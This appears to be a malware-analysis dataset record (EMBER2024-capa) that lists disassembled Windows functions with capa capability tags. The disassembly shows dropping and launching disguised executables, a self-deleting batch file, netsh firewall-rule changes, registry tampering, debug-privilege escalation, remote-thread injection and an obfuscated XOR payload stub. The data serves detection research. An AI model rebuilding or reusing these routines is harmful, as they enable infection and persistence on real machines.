joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4010c0
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x210
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x20c], eax
push str.Unner_mxz64.bat
push 0x4044e8
lea eax, [esp + 0x110]
push 0x4031b8
push eax
mov dword [esp + 0x10], 0
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0x10
xor eax, eax
mov edi, edi
mov cl, byte [eax + 0x4044e8]
mov byte [esp + eax + 4], cl
inc eax
test cl, cl
jne 0x401100
push ebp
push edi
lea edi, [esp + 0xc]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401116
mov cx, word [0x4031c0]
lea eax, [esp + 0xc]
mov word [edi], cx
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401130
mov edx, dword [str.winupdate32.exe]
mov ecx, dword [0x4031c8]
push 0
push 0x80
push 2
mov dword [eax], edx
mov edx, dword [0x4031cc]
push 0
mov dword [eax + 4], ecx
mov ecx, dword [0x4031d0]
push 0
mov dword [eax + 8], edx
push 0x40000000
lea edx, [esp + 0x128]
push edx
mov dword [eax + 0xc], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x40127b
mov eax, str.:Repeat1_r_ndel___s__r_nif_exist___s__goto_Repeat1_r_n:Repeat2_r_ndel___s__r_nif_exist___s__goto_Repeat2_r_ndel___s_
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401190
sub eax, edx
push ebx
mov ebx, eax
mov eax, 0x4045f0
push esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4011a5
sub eax, edx
mov ecx, eax
lea eax, [esp + 0x14]
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4011b7
sub eax, esi
mov esi, eax
lea eax, [esp + 0x118]
lea edi, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4011d0
sub eax, edi
lea eax, [eax + ecx*2]
add eax, ecx
add eax, esi
lea edi, [eax + ebx + 0x64]
push edi
call dword [sym.imp.MSVCR90.dll_malloc]
add esp, 4
push 1
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 0
push esi
call sub.MSVCR90.dll_memset
lea ecx, [esp + 0x124]
push ecx
lea edx, [esp + 0x24]
push edx
mov eax, edx
push eax
push 0x4045f0
push 0x4045f0
push str.:Repeat1_r_ndel___s__r_nif_exist___s__goto_Repeat1_r_n:Repeat2_r_ndel___s__r_nif_exist___s__goto_Repeat2_r_ndel___s_
push esi
call dword [sym.imp.MSVCR90.dll_sprintf]
mov eax, esi
add esp, 0x28
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401230
push 0
sub eax, ecx
lea ecx, [esp + 0x14]
push ecx
push eax
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea edx, [esp + 0x124]
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test esi, esi
je 0x401279
push esi
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
pop esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop ebp
xor ecx, esp
call fcn.004020f2
add esp, 0x210
ret
Function at 0x4012a0
Capabilities:
Delete file
Extract resource via kernel32 functions
Write file on windows

Disassembly:
sub esp, 0x110
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x10c], eax
push ebp
push esi
mov esi, ecx
xor ebp, ebp
push esi
mov dword [esp + 0xc], ebp
call dword [sym.imp.MSVCR90.dll_remove]
add esp, 4
cmp eax, 0xffffffff
jne 0x4012f1
call dword [sym.imp.MSVCR90.dll__errno]
cmp dword [eax], 0xd
jne 0x4012f1
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.004020f2
add esp, 0x110
ret
push ebx
push edi
push ebp
mov dword [esp + 0x1c], ebp
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, eax
movzx eax, word [esp + 0x124]
push 0x4031e0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebp, eax
lea edx, [esp + 0x18]
mov dword [esp + 0x14], ebp
mov eax, esi
sub edx, esi
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x401330
test ebp, ebp
je 0x401398
push ebp
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
test ebp, ebp
je 0x40138d
lea ecx, [esp + 0x18]
push 0x4031e8
push ecx
mov dword [esp + 0x18], 1
call dword [sym.imp.MSVCR90.dll_fopen]
add esp, 8
push 1
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push eax
push 1
push ebp
call dword [sym.imp.MSVCR90.dll_fwrite]
push esi
call dword [sym.imp.MSVCR90.dll_fclose]
add esp, 0x14
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov ecx, dword [esp + 0x11c]
mov eax, dword [esp + 0x10]
pop edi
pop ebx
pop esi
pop ebp
xor ecx, esp
call fcn.004020f2
add esp, 0x110
ret
Function at 0x4013c0
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x63c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x638], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [esp + 0x15]
push ebx
push eax
mov byte [esp + 0x1c], bl
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x103
lea ecx, [esp + 0x32d]
push ebx
push ecx
mov byte [esp + 0x334], bl
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x103
lea edx, [esp + 0x225]
push ebx
push edx
mov byte [esp + 0x22c], bl
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x103
lea eax, [esp + 0x11d]
push ebx
push eax
mov byte [esp + 0x124], bl
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x104
push ebx
push 0x4046f8
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x104
push 0x4046f8
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esi, dword [sym.imp.MSVCR90.dll_sprintf]
push 0x4031ec
push 0x4046f8
lea ecx, [esp + 0x330]
push 0x4031b8
push ecx
call esi
push 0x65
lea ecx, [esp + 0x33c]
call fcn.004012a0
add esp, 0x14
lea edi, [esp + 0x328]
call fcn.00401000
push str.msactive32.dll
push 0x4046f8
lea edx, [esp + 0x228]
push 0x4031b8
push edx
call esi
push 0x77
lea ecx, [esp + 0x234]
call fcn.004012a0
add esp, 0x14
lea edi, [esp + 0x220]
call fcn.00401000
push 0x40320c
push 0x4046f8
lea eax, [esp + 0x18]
push 0x4031b8
push eax
call esi
push 0x69
lea ecx, [esp + 0x24]
call fcn.004012a0
add esp, 0x14
lea edi, [esp + 0x10]
call fcn.00401000
call fcn.00402030
push 0x104
push 0x4045f0
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
jmp 0x401530
mov cl, byte [eax + 0x4045f0]
mov byte [eax + 0x4044e8], cl
inc eax
cmp cl, bl
jne 0x401530
push 0x5c
push 0x4044e8
call dword [sym.imp.MSVCR90.dll_strrchr]
add esp, 8
cmp eax, ebx
je 0x401557
mov byte [eax], bl
push str.winupdate32.exe
push 0x4044e8
lea ecx, [esp + 0x120]
push 0x4031b8
push ecx
call esi
push 0x79
lea ecx, [esp + 0x12c]
call fcn.004012a0
add esp, 0x14
push ebx
push ebx
push ebx
lea edx, [esp + 0x124]
push edx
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.004010c0
call fcn.00401890
push 0x103
lea eax, [esp + 0x53d]
push ebx
push eax
mov byte [esp + 0x544], bl
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x103
lea ecx, [esp + 0x435]
push ebx
push ecx
mov byte [esp + 0x43c], bl
call sub.MSVCR90.dll_memset
add esp, 0xc
lea edx, [esp + 0x430]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str.asdx64.exe
lea eax, [esp + 0x434]
push eax
lea ecx, [esp + 0x540]
push 0x403228
push ecx
call esi
mov esi, dword [sym.imp.MSVCR90.dll_remove]
lea edx, [esp + 0x548]
push edx
call esi
add esp, 0x14
push str.c:windows_temp_rerx.exe
call esi
mov ecx, dword [esp + 0x648]
add esp, 4
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.004020f2
mov esp, ebp
pop ebp
ret
Function at 0x401640
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x318
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x314], eax
push ebx
push ebp
mov ebp, dword [esp + 0x324]
push esi
push edi
mov ecx, 0xa
mov esi, str.SYSTEMControlSet001_servicesV3_Service
lea edi, [esp + 0x11c]
rep movsd dword es:[edi], dword [esi]
push 0xda
xor ebx, ebx
lea eax, [esp + 0x14a]
push ebx
push eax
movsw word es:[edi], word [esi]
call sub.MSVCR90.dll_memset
add esp, 0xc
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push ebx
lea edx, [esp + 0x128]
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401734
push 0x104
lea eax, [esp + 0x224]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x103
lea ecx, [esp + 0x1d]
push ebx
push ecx
mov byte [esp + 0x24], bl
call sub.MSVCR90.dll_memset
mov ecx, dword [esp + 0x1c]
add esp, 0xc
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x1c]
push eax
push ebx
push ebx
push str.ImagePath
push ecx
mov dword [esp + 0x2c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401734
lea edx, [esp + 0x18]
push 0x22
push edx
call dword [sym.imp.MSVCR90.dll_strrchr]
add esp, 8
test eax, eax
je 0x40171b
mov byte [eax], bl
lea eax, [esp + 0x19]
mov edx, ebp
mov ecx, eax
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x401725
mov ebx, 1
mov eax, dword [esp + 0x10]
test eax, eax
je 0x401743
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x324]
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.004020f2
add esp, 0x318
ret

Function at 0x401760
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x10
push esi
lea eax, [esp + 8]
push eax
push 0xf013f
xor esi, esi
push esi
push 0x404088
push 0x80000002
mov dword [esp + 0x20], 4
mov dword [esp + 0x18], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4017cd
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 8]
push edx
push eax
push eax
mov eax, dword [esp + 0x18]
push str.LOCAL_Value
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4017b6
lea esi, [eax + 1]
jmp 0x40181a
mov edx, dword [esp + 8]
push 4
lea ecx, [esp + 8]
push ecx
push 4
push 0
push str.LOCAL_Value
push edx
jmp 0x40180c
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0xc]
push ecx
push 0
push 0x20106
push 0
push 0
push 0
push 0x404088
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40181a
push 4
lea edx, [esp + 8]
push edx
push 4
push eax
mov eax, dword [esp + 0x18]
push str.LOCAL_Value
push eax
mov dword [esp + 0x1c], 2
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 8]
test eax, eax
je 0x401829
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x401830
Capabilities:
Create process on windows

Disassembly:
call fcn.00401760
test eax, eax
je 0x40183c
xor eax, eax
ret
push 0xfa0
push 0
push 0x404800
call sub.MSVCR90.dll_memset
push str._c_netsh_advfirewall_firewall_add_rule_name_BranchCache
push 0x404800
call dword [sym.imp.MSVCR90.dll__swprintf]
add esp, 0x14
push 0
push 0
push 0x404800
push 0x4033ac
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
ret

Function at 0x401890
Capabilities:
Create process on windows
Set registry value

Disassembly:
sub esp, 0x214
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x210], eax
push esi
push 0x103
xor esi, esi
lea eax, [esp + 0x115]
push esi
push eax
mov byte [esp + 0x11c], 0
call sub.MSVCR90.dll_memset
push 0x103
lea ecx, [esp + 0x1d]
push esi
push ecx
mov byte [esp + 0x24], 0
call sub.MSVCR90.dll_memset
lea edx, [esp + 0x128]
push edx
mov dword [esp + 0x24], esi
call fcn.00401640
add esp, 0x1c
test eax, eax
jne 0x401905
pop esi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.004020f2
add esp, 0x214
ret
call fcn.00401830
lea eax, [esp + 4]
push eax
push 0xf013f
push 0
push 0x404088
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401995
push 0x104
push eax
lea ecx, [esp + 0x14]
push ecx
call sub.MSVCR90.dll_memset
lea edx, [esp + 0x11c]
push edx
lea eax, [esp + 0x1c]
push str._c_netsh_advfirewall_firewall_set_rule_name_BranchCache
push eax
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0x18
push 0
push 0
lea ecx, [esp + 0x14]
push ecx
push 0x403428
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, dword [esp + 4]
push 4
lea edx, [esp + 0xc]
push edx
push 4
push 0
push str.LOCAL_Value
push eax
mov dword [esp + 0x20], 2
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, 1
mov eax, dword [esp + 4]
test eax, eax
je 0x4019a4
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x214]
mov eax, esi
pop esi
xor ecx, esp
call fcn.004020f2
add esp, 0x214
ret
Function at 0x401a90
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0xec
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0xe8], eax
push esi
push edi
mov ecx, 0xc
mov esi, str.SYSTEMControlSet001ControlSession_Managerpower
lea edi, [esp + 0x28]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x95
lea eax, [esp + 0x5f]
push 0
push eax
mov dword [esp + 0x1c], 4
mov dword [esp + 0x14], 0
movsb byte es:[edi], byte [esi]
call sub.MSVCR90.dll_memset
mov ecx, dword [str.HiberbootEnabled]
mov edx, dword [0x40348c]
mov eax, dword [0x403490]
mov dword [esp + 0x20], ecx
mov ecx, dword [0x403494]
add esp, 0xc
mov dword [esp + 0x20], ecx
lea ecx, [esp + 0xc]
push ecx
mov dword [esp + 0x1c], edx
mov dx, word [0x403498]
push 0xf003f
mov dword [esp + 0x24], eax
xor eax, eax
mov word [esp + 0x2c], dx
push eax
lea edx, [esp + 0x34]
push edx
push 0x80000002
mov word [esp + 0x3a], ax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop edi
pop esi
test eax, eax
jne 0x401b8a
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 8]
lea ecx, [esp + 4]
push ecx
push 0
push 0
lea edx, [esp + 0x1c]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp dword [esp], 1
jne 0x401b7f
mov eax, dword [esp + 4]
push 4
lea ecx, [esp + 4]
push ecx
push 4
push 0
lea edx, [esp + 0x1c]
push edx
push eax
mov dword [esp + 0x18], 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0xe8]
xor ecx, esp
call fcn.004020f2
add esp, 0xec
ret

Function at 0x401c00
Capabilities:
Check os version
Create thread

Disassembly:
sub esp, 0x11c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x118], eax
push 0x114
lea eax, [esp + 8]
push 0
push eax
mov dword [esp + 0xc], 0
call sub.MSVCR90.dll_memset
add esp, 0xc
lea ecx, [esp + 4]
push ecx
mov dword [esp + 8], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [esp + 8], 6
jb 0x401c9e
push 0x4034b0
push 0x403430
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401c87
push 0
push 0
push 0
push 0
push 0
push ebx
push edi
push esi
push 0
push 0x1fffff
lea edx, [esp + 0x28]
push edx
call eax
mov eax, dword [esp]
test eax, eax
jne 0x401ccb
xor eax, eax
mov ecx, dword [esp + 0x118]
xor ecx, esp
call fcn.004020f2
add esp, 0x11c
ret
push 0
push 0
push ebx
push edi
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [esp], eax
test eax, eax
jne 0x401ccb
mov ecx, dword [esp + 0x118]
xor ecx, esp
call fcn.004020f2
add esp, 0x11c
ret
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
mov ecx, dword [esp + 0x118]
xor ecx, esp
call fcn.004020f2
add esp, 0x11c
ret
Function at 0x401ec0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x230
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x22c], eax
push ebx
push ebp
mov ebp, dword [esp + 0x23c]
push 0
push 0xf
mov dword [esp + 0x10], 0x22c
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401f0e
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x22c]
xor ecx, esp
call fcn.004020f2
add esp, 0x230
ret
lea eax, [esp + 8]
push eax
push ebx
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x401f7b
push edi
mov edi, dword [sym.imp.MSVCR90.dll__wcsicmp]
push esi
jmp 0x401f30
mov esi, dword [esp + 0x18]
lea ecx, [esp + 0x34]
push 0x403538
push ecx
call edi
add esp, 8
test eax, eax
je 0x401f58
lea edx, [esp + 0x10]
push edx
push ebx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x401f30
jmp 0x401f79
call fcn.004019c0
test eax, eax
je 0x401f6f
call fcn.00401a90
push ebp
push esi
call fcn.00401df0
jmp 0x401f76
push ebp
push esi
call fcn.00401d00
add esp, 8
pop esi
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x234]
pop ebp
pop ebx
xor ecx, esp
mov eax, 1
call fcn.004020f2
add esp, 0x230
ret

Function at 0x401fa0
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x24
lea eax, [esp + 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x401fc1
xor eax, eax
add esp, 0x24
ret
lea ecx, [esp + 8]
push ecx
push 0x4034f0
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x401fbb
mov edx, dword [esp + 8]
mov eax, dword [esp + 0xc]
push 0
push 0
push 0x10
lea ecx, [esp + 0x1c]
push ecx
mov dword [esp + 0x24], edx
mov edx, dword [esp + 0x14]
push 0
push edx
mov dword [esp + 0x28], 1
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x401fbb
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0x514
setne cl
mov eax, ecx
add esp, 0x24
ret

Function at 0x402030
Capabilities:
Get common file path

Disassembly:
sub esp, 0x214
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call sub.MSVCR90.dll_memset
add esp, 0xc
call fcn.00401fa0
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x104
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea edi, [esp + 8]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x402084
mov eax, dword [0x403514]
mov dword [edi], eax
lea edi, [esp + 8]
add edi, 0xfffffffe
mov edi, edi
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4020a0
mov ecx, 7
mov esi, 0x403518
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 8]
push ecx
movsw word es:[edi], word [esi]
call fcn.00401ec0
mov ecx, dword [esp + 0x218]
add esp, 4
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.004020f2
add esp, 0x214
ret
Function at 0x4020f2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x4020fc
repz ret
jmp fcn.004023ad
Function at 0x10007c1f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x10007c2e
pop dword [ebp - 0x20]
mov eax, 0x10007c2e
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x8fb26c12
sub dword [ebp - 0x30], 0x416026c7
mov dword [ebp - 0x2c], 0x5b206610
add dword [ebp - 0x2c], 0xd712e635
mov dword [ebp - 0x28], 0x4b2bd6d6
sub dword [ebp - 0x28], 0xfedf92a8
mov dword [ebp - 0x24], 0xd8c438d3
add dword [ebp - 0x24], 0x273bc72d
lea eax, [ebp - 0x30]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xb2bdc9dd
sub dword [ebp - 0x30], 0x3e4b6087
mov dword [ebp - 0x2c], 0xc077f2d1
add dword [ebp - 0x2c], 0x80f46ea4
mov dword [ebp - 0x28], 0x75b75dcf
add dword [ebp - 0x28], 0xedb80e9d
mov dword [ebp - 0x24], 0x469b2cc5
add dword [ebp - 0x24], 0xb964d33b
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3da2e
push 0
call eax
mov ecx, 0x2617852b
sub ecx, 0x2617214b
mov ebx, eax
mov edi, 0x1000fa00
add edi, dword [ebp - 0x20]
mov edx, 0x98575cc4
sub edx, 0xc7ae5297
add dword [ebp - 0x18], edi
mov esi, dword [edi]
xor dword [ebp - 0xc], esi
sub esi, edx
xor dword [ebp - 0x10], ecx
mov dword [ebx], esi
add dword [ebp - 0xc], ecx
add ebx, 0xbd44f1b4
add ebx, 0x42bb0e50
add edi, 0x9d25ab93
add edi, 0x62da5471
loop 0x10007d3b
add eax, 0x18253
xor ebx, ebx
add ebx, eax
add eax, 0x6c86998e
sub eax, 0x6c869989
mov ecx, 0x10000000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x404750
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffdf4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00406970
test esi, esi
jne 0x404786
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00406ad8
jmp 0x4047a4
call sub.kernel32.dll_GetCommandLineW
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00404634
mov edi, eax
test esi, esi
je 0x4047a4
cmp dword [ebx], 0
je 0x4047a4
dec esi
jmp 0x40478d
add esp, 0x20c
pop edi
pop esi
pop ebx
ret

Function at 0x4056d0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff4
mov edi, edx
mov esi, eax
mov ebp, dword [esi + 0x10]
mov eax, esi
call fcn.00405abc
mov byte [esp], al
cmp byte [esp], 0
jne 0x405859
test edi, edi
je 0x405859
mov byte [esp + 1], 0
test ebp, ebp
jle 0x405790
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
test ebp, ebp
jle 0x40576b
cmp edi, 0xffffffff
je 0x40572f
call sub.kernel32.dll_GetTickCount
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x40572f
mov byte [esp], 0
jmp 0x405859
mov ebx, dword [esi]
cmp ebx, 1
jg 0x40576b
test ebx, ebx
jne 0x405764
mov eax, esi
xor ecx, ecx
mov edx, 1
call fcn.00402580
test eax, eax
jne 0x405764
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov byte [esp], 1
jmp 0x405859
pause
dec ebp
test ebp, ebp
jg 0x405714
cmp edi, 0xffffffff
je 0x405790
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x40578e
mov byte [esp], 0
jmp 0x405859
sub edi, eax
mov ebx, dword [esi]
test ebx, ebx
je 0x4056de
lea edx, [ebx + 2]
mov eax, esi
mov ecx, ebx
call fcn.00402580
cmp ebx, eax
jne 0x405790
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
mov eax, esi
call fcn.004058cc
mov edx, eax
mov ebx, dword [0x4e08c8]
mov ecx, edi
xor eax, eax
call dword [ebx + 0x10]
test eax, eax
sete byte [esp]
cmp edi, 0xffffffff
je 0x4057f7
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
jbe 0x4057f5
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
sub edi, eax
jmp 0x4057f7
xor edi, edi
cmp byte [esp], 0
je 0x405820
mov ebx, dword [esi]
test bl, 1
jne 0x405839
mov edx, ebx
sub edx, 2
or edx, 1
mov eax, esi
mov ecx, ebx
call fcn.00402580
cmp ebx, eax
jne 0x4057fd
mov byte [esp + 1], 1
jmp 0x405839
mov ebx, dword [esi]
mov edx, ebx
sub edx, 2
mov eax, esi
mov ecx, ebx
call fcn.00402580
cmp ebx, eax
jne 0x405820
mov byte [esp + 1], 1
cmp byte [esp + 1], 0
je 0x4057aa
cmp byte [esp], 0
je 0x405859
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
movzx eax, byte [esp]
add esp, 0xc
pop ebp
pop edi
pop esi
pop ebx
ret